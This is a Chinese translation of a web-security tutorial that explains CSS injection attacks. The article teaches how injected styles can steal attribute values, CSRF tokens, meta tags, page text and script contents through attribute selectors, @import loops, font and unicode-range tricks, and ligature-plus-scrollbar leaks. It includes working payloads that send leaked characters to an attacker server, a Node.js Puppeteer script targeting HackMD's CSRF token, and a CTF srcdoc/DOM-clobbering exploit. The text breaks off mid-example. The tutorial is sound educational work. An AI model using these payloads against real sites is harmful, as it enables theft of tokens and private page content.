原文:https://aszx87410.github.io/beyond-xss/en/ch3/css-injection/
翻译:獬
引言
在之前探讨的攻击案例中,诸如原型污染和DOM破坏等漏洞均通过操纵JavaScript执行流来达成攻击目的。本质上,这些威胁的触发机制都依赖于JavaScript引擎对恶意输入的不当处理。而今天我们转向一类无需依赖JavaScript即可引发严重后果的攻击技术——以CSS注入为代表的样式层攻击将成为讨论的起点。
作为前端渲染的核心组件,CSS的灵活性与功能十分强大。例如,您可以创建:
是的,你没看错。这些示例完全使用 CSS 和 HTML 创建,没有一行 JavaScript,CSS 确实很神奇。
但是 CSS 如何被用作攻击手段呢?接下来让我们一起探索。
什么是 CSS 注入?
顾名思义,CSS注入是指攻击者能够向网页中插入任意CSS语法的攻击方式,具体表现为通过<style>标签实现样式注入。以下从漏洞成因与攻击能力两方面展开说明:
标签过滤机制的局限性
部分网站在过滤危险标签时,可能忽略对<style>标签的防护。以DOMPurify这类常用的标签清理工具为例,其默认安全标签列表中包含<style>,因此在未配置特定参数的情况下,该标签不会被过滤。攻击者可利用这一特性,通过插入恶意<style>标签实现CSS注入。
CSP策略下的攻击降级场景
当HTML注入漏洞被触发,但内容安全策略(CSP)阻止JavaScript执行时,攻击者会转而利用CSS实施恶意行为——此时CSS成为绕过CSP限制的攻击载体。
CSS注入的攻击能力分析
CSS虽本质上用于网页样式控制,但恶意注入的CSS可实现多层级攻击效果:
- 视觉篡改:篡改页面背景、布局、元素显示等基础样式;
- 交互欺骗:通过CSS伪类(如:hover)、CSS动画或CSS选择器实现钓鱼诱导(如隐藏真实按钮、伪造操作界面);
- 信息干扰:通过样式操纵实现UI元素的隐藏或伪造,干扰用户对页面内容的判断。
这种攻击方式常因“仅修改样式”的表象被低估,但在配合社会工程学攻击时,可通过视觉欺骗、交互劫持等手段造成实质性危害,需在Web安全防护体系中纳入针对性防御策略。
那么,CSS注入具体能实现什么呢?少侠们可能会问,CSS不就是用来设置网页样式的吗?更改网页背景颜色也能算作攻击吗?
使用CSS
虽然 CSS 主要用于设置网页样式,但它可以与两个功能结合来窃取数据。
第一个特性是属性选择器。
在 CSS 中,有多个选择器可以定位具有满足特定条件的属性的元素。例如,input[value^=a]选择值以 开头的元素a。
一些类似的选择器包括:
- input[value^=a](前缀)选择值以 开头的元素a。
- input[value$=a](后缀)选择值以 结尾的元素a。
- input[value*=a](包含)选择值包含的元素a。
第二个功能是能够使用 CSS 发出请求,例如从服务器加载背景图像,这本质上就是发送请求。
假设我们的网页上有以下内容:<input name=”secret” value=”abc123″>。如果我可以注入 CSS,那么我可以编写以下内容:
input[name="secret"][value^="a"] { background: url(https://myserver.com?q=a)}
input[name="secret"][value^="b"] {
background: url(https://myserver.com?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://myserver.com?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://myserver.com?q=z)
}
会发生什么?
由于第一条规则成功定位到相应的元素,因此输入的背景将是来自服务器的图像,从而导致浏览器向发送请求https://myserver.com?q=a。
因此,当服务器收到此请求时,它知道输入的“value”属性以字母“a”开头,成功窃取第一个字符。
这就是 CSS 可以用来窃取数据的原因。通过将属性选择器与加载图像的能力结合起来,服务器可以确定网页上特定元素的属性值。
现在我们已经确认 CSS 可以窃取属性值,让我们来解决两个问题:
- 什么东西可以被偷?
- 你只演示了偷第一个字,怎么偷第二个字呢?
让我们先从第一个问题开始。什么东西会被窃取?通常是敏感数据,对吧?
最常见的目标是 CSRF token。如果您不熟悉 CSRF,我将在以后的文章中讨论它。
简单来说,如果 CSRF token被盗,就可能导致 CSRF 攻击。只需将token视为重要的东西即可。通常,CSRF token存储在隐藏的输入字段中,如下所示:
<form action="/action">
<input type="hidden" name="csrf-token" value="abc123">
<input name="username">
<input type="submit"></form>
我们怎样才能窃取里面的数据?
窃取隐藏输入
对于隐藏的输入,我们之前的方法不起作用:
input[name="csrf-token"][value^="a"]{
background: url(https://example.com?q=a)
}
由于输入类型是隐藏的,所以这个元素不会显示在屏幕上。由于不显示,浏览器不需要加载背景图片,所以服务器不会收到任何请求。这个限制非常严格,甚至使用也display:block !important;无法覆盖它。
那我们该怎么办呢?不用担心,我们还有另一个选择器选项,如下所示:
input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}
最后还有一个加号+ input。这个加号是另一个选择器,意思是“选择后面的元素”。所以,组合起来之后,这个选择器的意思是“我想要选择名称为‘csrf-token’、值以‘a’开头的输入,它位于名称为‘username’的输入之后”。换句话说,<input name=”username”>。
因此,背景图像实际上是由另一个元素加载的,该元素没有type=hidden,因此图像会正常加载。
但是如果它后面没有其他元素怎么办?像这样:
<form action="/action">
<input name="username">
<input type="submit">
<input type="hidden" name="csrf-token" value="abc123">
</form>
在过去,这是不可能的,因为 CSS 没有选择器来选择“前面的元素”。但现在不同了,因为我们有了:has。这个选择器可以选择“满足特定条件的下方元素”,就像这样:
这意味着我想选择“(满足该条件的输入框)下方的表单”。因此,该表单将加载背景,而不是隐藏的输入框。这个:has选择器相当新,从 2022 年 8 月底发布的 Chrome 105 开始正式支持。目前,只有稳定版 Firefox 尚不支持它。更多详情,请参阅:caniuse
![图片[1]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-5-1.png)
有了:has,我们基本上无所不能,因为我们可以指定哪个父元素更改背景。所以,我们可以随心所欲地选择。
窃取元数据
除了将数据放在隐藏的输入框中,一些网站还会将数据放在<meta>标签中,例如。<meta name=”csrf-token” content=”abc123″>元标签也是不可见的元素。我们如何窃取它们呢?
首先,正如上一段末尾提到的,has绝对有办法窃取它们。我们可以这样做:
html:has(meta[name="csrf-token"][content^="a"]) {
background: url(https://example.com?q=a);
}
但除此之外,还有其他方法可以窃取它们。
虽然<meta>标签也是不可见的,但与隐藏输入不同,我们可以使用 CSS 使该元素可见:
meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}
![图片[2]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-6-1.png)
但这还不够。你会注意到请求仍然没有发送。这是因为<meta>位于 之下<head>,并且<head>具有默认display:none属性。因此,我们还需要进行<head>特殊设置以使<meta>“visible”可见:
head, meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}
通过这样写,浏览器会发送请求。但是,屏幕上什么也不会显示,因为content毕竟是一个属性,而不是 HTML 文本节点,所以它不会显示在屏幕上。但元素meta本身实际上是可见的,这就是发送请求的原因:
![图片[3]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-7-1.png)
如果您确实想在屏幕上显示内容,可以使用伪元素来实现attr:
meta:before {
content: attr(content);
}
然后您将看到元标记内的内容显示在屏幕上。
最后我们来看一个实际的例子。
案例:HackMD
HackMD 的 CSRF token 被放置在两个位置,一个是隐藏输入,一个是元标签,内容如下:
<meta name="csrf-token" content="h1AZ81qI-ns9b34FbasTXUq7a7_PPH8zy3RI">
而且 HackMD 其实支持使用<style>,这个标签不会被过滤掉,所以你可以写任意的样式。相关的 CSP 如下:
img-src * data:;
style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com
https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com;
font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com;
正如您所见,unsafe-inline这是允许的,因此您可以插入任何 CSS。
确认 CSS 可以插入后,就可以开始准备窃取数据了。还记得之前那个悬而未决的问题吗?“如何窃取第一个字符之后的字符?”我以 HackMD 为例来解答。
首先,CSRF token通常会在页面刷新时发生变化,因此您无法刷新页面。幸运的是,HackMD 支持实时更新。每当内容发生变化时,都会立即反映在其他客户端的屏幕上。因此,可以“不刷新就更新样式”。具体流程如下:
- 准备好窃取第一个字符的样式并将其插入 HackMD。
- 受害者打开该页面。
- 服务器接收第一个字符的请求。
- 服务器更新 HackMD 内容并将其替换为有效载荷以窃取第二个字符。
- 受害者的页面实时更新并加载新的样式。
- 服务器接收到第二个字符的请求。
- 重复此过程,直到所有字符都被盗。
流程的简单示意图如下:
![图片[4]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-16-1.png)
代码如下:
const puppeteer = require('puppeteer');const express = require('express')
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// Create a hackMD document and let anyone can view/edit
const noteUrl = 'https://hackmd.io/1awd-Hg82fekACbL_ode3aasf'
const host = 'http://localhost:3000'
const baseUrl = host + '/extract?q='
const port = process.env.PORT || 3000
;(async function() {
const app = express()
const browser = await puppeteer.launch({
headless: true
});
const page = await browser.newPage();
await page.setViewport({ width: 1280, height: 800 })
await page.setRequestInterception(true);
page.on('request', request => {
const url = request.url()
// cancel request to self
if (url.includes(baseUrl)) {
request.abort()
} else {
request.continue()
}
});
app.listen(port, () => {
console.log(`Listening at http://localhost:${port}`)
console.log('Waiting for server to get ready...')
startExploit(app, page)
})
})()
async function startExploit(app, page) {
let currentToken = ''
await page.goto(noteUrl + '?edit');
// @see: https://stackoverflow.com/questions/51857070/puppeteer-in-nodejs-reports-error-node-is-either-not-visible-or-not-an-htmlele
await page.addStyleTag({ content: "{scroll-behavior: auto !important;}" });
const initialPayload = generateCss()
await updateCssPayload(page, initialPayload)
console.log(`Server is ready, you can open ${noteUrl}?view on the browser`)
app.get('/extract', (req, res) => {
const query = req.query.q
if (!query) return res.end()
console.log(`query: ${query}, progress: ${query.length}/36`)
currentToken = query
if (query.length === 36) {
console.log('over')
return
}
const payload = generateCss(currentToken)
updateCssPayload(page, payload)
res.end()
})
}
async function updateCssPayload(page, payload) {
await sleep(300)
await page.click('.CodeMirror-line')
await page.keyboard.down('Meta');
await page.keyboard.press('A');
await page.keyboard.up('Meta');
await page.keyboard.press('Backspace');
await sleep(300)
await page.keyboard.sendCharacter(payload)
console.log('Updated css payload, waiting for next request')
}
function generateCss(prefix = "") {
const csrfTokenChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('')
return `
${prefix}
<style>
head, meta {
display: block;
}
${
csrfTokenChars.map(char => `
meta[name="csrf-token"][content^="${prefix + char}"] {
background: url(${baseUrl}${prefix + char})
}
`).join('\n')
}
</style>
`
}
直接用Node.js运行就可以,运行完之后在浏览器中打开对应的文档,在终端就可以看到泄漏的进度了。
然而,即使你设法窃取 HackMD 的 CSRF token,你仍然无法执行 CSRF 攻击,因为 HackMD 会检查服务器上的其他 HTTP 请求标头(例如 origin 或 referer),以确保请求来自合法来源。
CSS 注入与其他漏洞的结合
在网络安全的世界里,创造力和想象力至关重要。有时,几个小漏洞的组合反而会加剧问题的严重性。这次,我想分享一个结合了 CSS 注入和另一个漏洞的 CTF 挑战,我觉得这个挑战很有意思。
![图片[5]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-17-1.png)
攻击目标是一个用 React 编写的博客网站,目标是成功窃取页面数据/home。可以添加文章,文章内容使用以下方法渲染:
<div dangerouslySetInnerHTML={{ __html: body }}></div>
如前所述,现代前端框架会自动对输出进行编码,因此无需担心 XSS 问题。然而,dangerouslySetInnerHTML在 React 中,这意味着“没问题,innerHTML直接设置即可”,因此您可以在此处插入任何 HTML。但问题在于 CSP 规则script-src ‘self’; object-src ‘none’; base-uri ‘none’;:
这些规则非常严格。script只能从同一来源加载,而其他元素(例如样式)则没有限制。显然,我们可以利用CSS注入来窃取页面数据。
然而,还有一个问题。文章的 URL 是/posts/:id,而我们想要窃取的数据就在这个/home页面上。CSS 无法影响其他页面。即使我们可以使用 iframe 嵌入该/home页面,也无法将样式注入到该页面。
在这种情况下我们能做什么?
这时,我想到了一个技巧:使用带有 srcdoc 的 iframe 元素,我们可以创建一个新页面,在其中再次渲染 React App:
<iframe srcdoc="
<div id=root></div>
<script type=module crossorigin src=/assets/index.7352e15a.js></script>
" height="1000px" width="500px"></iframe>
但是控制台显示与 react-router 相关的错误:
![图片[6]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-18-1.png)
DOMException:无法在“History”上执行“replaceState”:无法在来源为“http://localhost:8080”且 URL 为“about:srcdoc”的文档中创建 URL 为“about:srcdoc”的历史状态对象。
react-router 是一个用于前端路由的库。其基本用法如下,指定哪个组件对应哪个路径:
ReactDOM.createRoot(document.getElementById('root')).render(
<React.StrictMode>
<ChakraProvider>
<BrowserRouter>
<Routes>
<Route path="/" element={<Index />} />
<Route path="/register" element={<Register />} />
<Route path="/login" element={<Login />} />
<Route path="/home" element={<Home />} />
<Route path="/post/:id" element={<Post />} />
</Routes>
</BrowserRouter>
</ChakraProvider>
</React.StrictMode>
);
你有没有想过它是如何确定当前路径的?如果你查看createBrowserHistory的代码,你会看到以下部分:
export function createBrowserHistory(
options: BrowserHistoryOptions = {}
): BrowserHistory {
let { window = document.defaultView! } = options;
let globalHistory = window.history;
function getIndexAndLocation(): [number, Location] {
let { pathname, search, hash } = window.location;
// ...
}
// ...
}
它最终是由 决定的window.location.pathname,关键在于这window来自于document.defaultView,简单来说就是document.defaultView.location.pathname。
这是什么意思?这意味着我们可以用 DOM 覆盖来覆盖它!
之前我们提到过,我们不能覆盖现有的窗口属性,所以我们不能覆盖window.location。然而, 则不同document,我们可以覆盖document。
<iframe name=defaultView src=”/home”>如果我们在页面上放置一个,那么document.defaultView就是这个 iframe 的 contentWindow ,而这里的 src 是/home,它们是同源的。因此,我们可以访问document.defaultView.location.pathname并获取页面的路径名/home,从而在 iframe 内部渲染首页的内容。
这样,我们就可以将其与之前发现的CSS注入结合起来。以下是示例:
<iframe srcdoc="
iframe /home below<br>
<iframe name=defaultView src=/home></iframe><br>
iframe /home above<br>
<style>
a[href^="/post/0"] {
background: url(//myserver?c=0);
}
a[href^="/post/1"] {
background: url(//myserver?c=1);
}
</style>
react app below<br>
<div id=root></div>
<script type=module crossorigin src=/assets/index.7352e15a.js></script>
" height="1000px" width="500px"></iframe>
界面将如下所示:
![图片[7]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-19-1.png)
我们在 iframe 的 srcdoc 中重新渲染了一个 React 应用,并通过 DOM 覆盖,这个 React 应用渲染了另一个页面。利用 CSS 注入,我们可以窃取数据并实现我们的目标。
此挑战来自 corCTF 2022 modernblog 挑战赛,由 @strellic 创建。更多详情,请参阅corCTF 2022 writeup – modernblog(https://blog.huli.tw/2022/08/21/en/corctf-2022-modern-blog-writeup/)
无实时内容同步场景的CSS注入思路
在本文中,我们了解了利用 CSS 窃取数据的原理,其核心在于结合使用“属性选择器”和“加载图片”功能。我们还以 HackMD 为例,演示了如何从隐藏的输入框和元标签中窃取数据。
然而,仍有一些问题尚未解决,例如:
- HackMD 拥有实时内容同步功能,无需刷新页面即可加载新样式。其他网站呢?我们该如何窃取第一个样式之外的字符呢?
- 如果每次只能窃取一个字符,会花很长时间吗?实践上可行吗?
- 除了属性之外,还有其他方法可以窃取其他内容吗?例如,页面上的文本内容,甚至是 JavaScript 代码?
- 针对这种攻击技术的防御机制有哪些?
窃取所有角色信息
在上一部分中,我们提到我们想要窃取的数据可能会在刷新时发生变化(例如,CSRF token),因此我们需要在不刷新页面的情况下加载新的样式。
上一篇文章我们之所以能够做到这一点,是因为 HackMD 本身就是一款标榜实时更新的服务。但是普通网页呢?如何在不使用 JavaScript 的情况下动态加载新样式?
关于这个问题,Pepe Vila 在 2019 年分享的演讲CSS Injection Attacks中给出了答案:@import。
在 CSS 中,您可以使用@import导入外部样式,类似于 JavaScript 的import。
您可以利用此功能创建一个用于导入样式的循环,如下面的代码片段所示:
@import url(https://myserver.com/start?len=8)
然后,服务器以以下方式响应:
@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)
关键在于:虽然我们一次导入了 8 个 URL,但服务器会在接下来的 7 个请求中挂起,并且不会提供响应。只有第一个 URLhttps://myserver.com/payload?len=1会返回响应,其中包含前面提到的数据窃取 Payload:
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://b.myserver.com/leak?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://b.myserver.com/leak?q=z)
}
当浏览器收到响应时,它会加载上面的 CSS 代码片段。加载完成后,符合条件的元素会向后端发送请求。假设第一个字符是 d。此时,服务器会响应以下内容https://myserver.com/payload?len=2:
input[name="secret"][value^="da"] {
background: url(https://b.myserver.com/leak?q=da)
}
input[name="secret"][value^="db"] {
background: url(https://b.myserver.com/leak?q=db)
}
input[name="secret"][value^="dc"] {
background: url(https://b.myserver.com/leak?q=dc)
}
//....
input[name="secret"][value^="dz"] {
background: url(https://b.myserver.com/leak?q=dz)
}
这个过程不断重复,直到我们将所有字符发送到服务器。这依赖于服务器import会先加载已下载的资源,然后再等待尚未下载的资源。
这里需要注意的一点是,我们会从域名 加载样式myserver.com,而背景图片的域名是b.myserver.com。这是因为浏览器通常对单个域名同时加载的请求数量有限制。因此,如果您只使用myserver.com,您会发现背景图片的请求无法通过,因为它们被 CSS 导入阻止了。
因此,有必要设置两个域来避免这种情况。
除此之外,上述方法在 Firefox 中不起作用。即使第一个请求的响应到达,Firefox 也不会立即更新样式。它会等待所有请求完成后再更新。解决方案可以参考 Michał Bentkowski 的这篇文章(名字听起来熟悉吗?):通过单个注入点在 Firefox 中窃取 CSS 数据。删除第一个导入步骤,并将每个字符的导入包装在其他样式中,如下所示:
<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>
这种方法在 Chrome 中也能很好地运行,因此通过采用它,您可以同时支持这两种浏览器。
综上所述,利用@importCSS的特性,我们可以实现“动态加载新样式,无需重新加载页面”,从而实现逐个字符的窃取。
一次偷一个字符,太慢了?
如果我们要在现实世界中执行此类攻击,我们可能需要提高效率。以 HackMD 为例,CSRF 令牌由 36 个字符组成,因此我们需要发送 36 个请求,这相当多。
事实上,我们可以一次窃取两个字符,因为如上一节所述,除了前缀选择器之外,还有一个后缀选择器。所以我们可以这样做:
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
// ...
input[name="secret"][value$="a"] {
border-background: url(https://b.myserver2.com/suffix?q=a)
}
input[name="secret"][value$="b"] {
border-background: url(https://b.myserver2.com/suffix?q=b)
}
除了窃取前缀,我们还可以窃取后缀,从而有效地将效率翻倍。需要注意的是,前缀和后缀的 CSS 使用了不同的属性,一个使用 using background,另一个使用 using border-background。这是因为如果我们使用相同的属性,内容将被其他属性覆盖,导致只发送一个请求。
如果内容中可能的字符不多,比如 16 个字符,我们可以直接一次窃取两个前缀和两个后缀。这样 CSS 规则总数就16*16*2= 512 条,这应该还在可接受的范围内,并且还能进一步加快两倍的速度。
除了这些方法之外,我们还可以在服务器端进行改进。例如,使用 HTTP/2 甚至 HTTP/3 可以潜在地加快请求的加载速度,提高效率。
窃取其他内容
除了窃取属性之外,还有其他方法可以窃取其他内容吗?例如,页面上的其他文本,甚至是脚本中的代码?
根据上一节讨论的原理,这是不可能的。窃取属性的能力源于“属性选择器”,它允许我们选择特定的元素。然而,在 CSS 中,没有能够选择“内容”本身的选择器。
因此,我们需要对CSS以及网页上的样式有更深的理解,才能完成这个看似不可能的任务。
unicode-range
在 CSS 中,有一个名为“unicode-range”的属性,它允许我们为不同的字符加载不同的字体。以下是来自MDN的一个例子:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "Ampersand";
src: local("Times New Roman");
unicode-range: U+26;
}
div {
font-size: 4em;
font-family: Ampersand, Helvetica, sans-serif;
}
</style>
<div>Me & You = Us</div>
</body>
</html>
此处的unicode&是U+0026,因此只有 字符&会以不同的字体显示,而其余字符将使用相同的字体。
前端开发人员可能以前使用过这种技术,例如,使用不同的字体显示英文和中文。这种技术也可以用来窃取页面上的文本,如下所示:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "f1";
src: url(https://myserver.com?q=1);
unicode-range: U+31;
}
@font-face {
font-family: "f2";
src: url(https://myserver.com?q=2);
unicode-range: U+32;
}
@font-face {
font-family: "f3";
src: url(https://myserver.com?q=3);
unicode-range: U+33;
}
@font-face {
font-family: "fa";
src: url(https://myserver.com?q=a);
unicode-range: U+61;
}
@font-face {
font-family: "fb";
src: url(https://myserver.com?q=b);
unicode-range: U+62;
}
@font-face {
font-family: "fc";
src: url(https://myserver.com?q=c);
unicode-range: U+63;
}
div {
font-size: 4em;
font-family: f1, f2, f3, fa, fb, fc;
}
</style>
Secret: <div>ca31a</div>
</body>
</html>
如果您检查网络选项卡,您将看到总共发送了 4 个请求:
![图片[8]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-20-1.png)
通过这种技术,我们可以确定页面上有四个字符:13ac。
然而,该技术有其局限性:
- 我们不知道字符的顺序。
- 我们不知道是否有重复的字符。
但从“加载字体”的角度去思考如何窃取字符,给很多人提供了新的思路,并引发了其他各种方法的发展。
字体高度差+首行滚动条
这个技巧是为了解决上一个技巧遇到的问题:“不知道字符的顺序”。它结合了很多细节,涉及到多个步骤,所以请仔细听。
首先,我们实际上可以在不加载外部字体的情况下使用内置字体来泄漏字符。该怎么做呢?我们需要找到两组高度不同的内置字体。
例如,有一种名为“Comic Sans MS”的字体,其高度比另一种名为“Courier New”的字体更高。
例如,假设默认字体高度为 30px,Comic Sans MS 字体高度为 45px。现在,如果我们将文本容器的高度设置为 40px,并加载字体,如下所示:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 30px;
height: 40px;
width: 100px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
}
</style>
Secret: <div>DBC</div>
<div>ABC</div>
</body>
</html>
我们将在屏幕上看到差异:
![图片[9]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-21-1.png)
很明显,字符 A 的高度比其他字符要高。根据我们的 CSS 设置,如果内容高度超过容器高度,就会出现滚动条。虽然在上面的截图中可能看不到,但下面的 ABC 有滚动条,而上面的 DBC 没有。
此外,我们可以为滚动条设置外部背景:
div::-webkit-scrollbar {
background: blue;
}
div::-webkit-scrollbar:vertical {
background: url(https://myserver.com?q=a);
}
这意味着,如果滚动条出现,我们的服务器就会收到请求。如果没有出现滚动条,则不会收到任何请求。
另外,当我将fa字体应用到 div 上时,如果屏幕上出现字符 A,就会出现滚动条,服务器就会收到请求。如果屏幕上没有出现字符 A,则什么也不会发生。
因此,如果我们反复加载不同的字体,服务器就能知道屏幕上显示的是什么字符,这与我们使用实现的效果类似unicode-range。
那么我们如何解决顺序问题呢?
我们可以先将 div 的宽度缩小到只显示一个字符,这样其他字符就会被放在第二行。然后,我们可以使用::first-line选择器来调整第一行的样式,如下所示:
<!DOCTYPE html>
<html>
<body>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fa, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
}
div::first-line{
font-size: 30px;
}
</style>
Secret: <div>CBAD</div>
</body>
</html>
屏幕上只会显示字符“C”。这是因为我们使用 将所有字符的字体大小设置为 0 font-size: 0px,然后使用 调整第一行的字体大小为 30px div::first-line。换句话说,只能看到第一行的字符,而现在 div 的宽度只有 20px,所以只会显示第一个字符。
接下来,我们可以使用刚刚学到的技巧来加载不同的字体。当我加载字体“fa”时,由于字符“A”没有出现在屏幕上,所以不会有任何变化。但是当我加载字体“fc”时,由于字符“C”出现在屏幕上,它将使用 Comic Sans MS 显示,这会增加高度并导致滚动条出现。然后我们可以使用它来发送请求,如下所示:
div {
font-size: 0px;
height: 40px;
width: 20px;
font-family: fc, "Courier New";
letter-spacing: 0px;
word-break: break-all;
overflow-y: auto;
overflow-x: hidden;
--leak: url(http://myserver.com?C);}
div::first-line{
font-size: 30px;
}
div::-webkit-scrollbar {
background: blue;
}
div::-webkit-scrollbar:vertical {
background: var(--leak);
}
那么,我们如何才能持续使用新的字体系列呢?我们可以使用 CSS 动画来实现。你可以–leak使用 CSS 动画持续加载不同的字体系列并指定不同的变量。
这样我们就能知道屏幕上第一个字符是什么了。
一旦我们知道了第一个字符,我们就可以增加 div 的宽度,例如增加到 40px,以便它可以容纳两个字符。这样,第一行就是前两个字符。然后,我们可以用同样的方法加载不同的字体系列来泄漏第二个字符。具体过程如下:
- 假设屏幕上的字符是“ACB”。
- 调整宽度为20px,第一行只会出现第一个字符“A”。
- 加载字体“fa”,这样“A”就会以更大的字体显示,从而出现滚动条。加载滚动条背景并向服务器发送请求。
- 加载字体“fb”,但由于屏幕上没有出现“B”,所以不会有任何变化。
- 加载字体“fc”,但由于屏幕上没有出现“C”,所以不会有任何变化。
- 调整宽度为40px,第一行将显示前两个字符“AC”。
- 再次加载字体“fa”,这样“A”就会以更大的字体显示,从而出现滚动条。此时,背景已经加载完毕,因此不会发送新的请求。
- 加载字体“fb”,“B”将以较大的字体显示,从而出现滚动条。加载滚动条背景。
- 加载字体“fc”,“C”会以更大的字体显示,但由于相同的背景已经加载,所以不会发送请求。
- 调整宽度为60px,第一行就会全部出现“ACB”三个字符。
- 再次加载字体“fa”,与步骤7相同。
- 加载字体“fb”,“B”将以较大的字体显示,从而出现滚动条。加载滚动条背景。
- 再次加载字体“fc”,“C”会以更大的字体显示,但由于已经加载了相同的背景,因此不会发送任何请求。
- 结尾。
从上面的流程我们可以看到,服务器会收到三个请求,顺序是 A、C、B,代表字符在屏幕上的排列顺序。不断改变宽度和 font-family 可以使用 CSS 动画来实现。
这个复杂却又绝妙的方法并非我发明,而是由 @cgvwzq 和 @terjanq 发明的。如果您想查看原始演示,可以访问此网页(来源:单 CSS 注入能做什么?):https://demo.vwzq.net/css2.html
这种方案虽然解决了“不知道字符顺序”的问题,但是仍然无法解决字符重复的问题,因为重复的字符不会触发新的请求。
终极招式:连字+滚动条
长话短说,这一招可以解决上面所有的问题,达到“知字序,知重复字”的目的,从而窃取完整的文本。
在理解如何操作之前,我们需要了解一个术语,叫做连字。在某些字体中,某些字符的组合会被渲染成连接的形状,如下图所示(来源:维基百科):
![图片[10]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-22-1.png)
那么这对我们有什么帮助呢?
我们可以自己创建一种独特的字体,将其设置ab为连字,并将其渲染为一个非常宽的元素。然后,我们将某个 div 的宽度设置为固定值,并将其与我们之前提到的滚动条技巧结合起来:“如果出现‘ab’,它就会变得非常宽,导致滚动条出现,我们可以加载一个请求来告诉服务器;如果没有出现,滚动条就不会出现,什么也不会发生。”
过程如下,假设屏幕上有字符“acc”:
- 加载带有连字“aa”的字体,没有任何反应。
- 加载带有连字“ab”的字体,没有任何反应。
- 加载带有连字“ac”的字体,成功渲染超大屏幕,出现滚动条,加载服务器图像。
- 服务器知道屏幕上显示“ac”。
- 加载带有连字“aca”的字体,没有任何反应。
- 加载带有连字“acb”的字体,没有任何反应。
- 加载一个带有连字“acc”的字体,渲染成功,出现滚动条,将结果发送到服务器。
- 服务器知道屏幕上有“acc”。
通过将连字与滚动条结合起来,我们可以慢慢泄露屏幕上的所有字符,甚至是 JavaScript 代码!
您知道脚本的内容可以显示在屏幕上吗?
head, script {
display: block;
}
通过添加这个CSS,脚本的内容就可以显示在屏幕上,所以我们也可以利用同样的技巧来窃取脚本的内容!
在实践中,你可以将 SVG 与其他工具结合使用,在服务器上快速生成字体。如果想查看细节和相关代码,可以参考 Michał Bentkowski 的文章:窃取绝妙的数据——如何使用 CSS 攻击 Web 应用程序。(https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/)
Masato Kinugawa 还创建了该演示的 Safari 版本。由于 Safari 支持 SVG 字体,因此无需从服务器生成字体。原文链接:通过 CSS + SVG 字体进行数据泄露 – PoC(仅限 Safari)(https://github.com/masatokinugawa/css-exfiltration-svg-font/)
在这里,我将简单地创建一个简化的演示来证明这是可能的。
<!DOCTYPE html>
<html lang="en">
<body>
<script>
var secret = "abc123"
</script>
<hr>
<script>
var secret2 = "cba321"
</script>
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
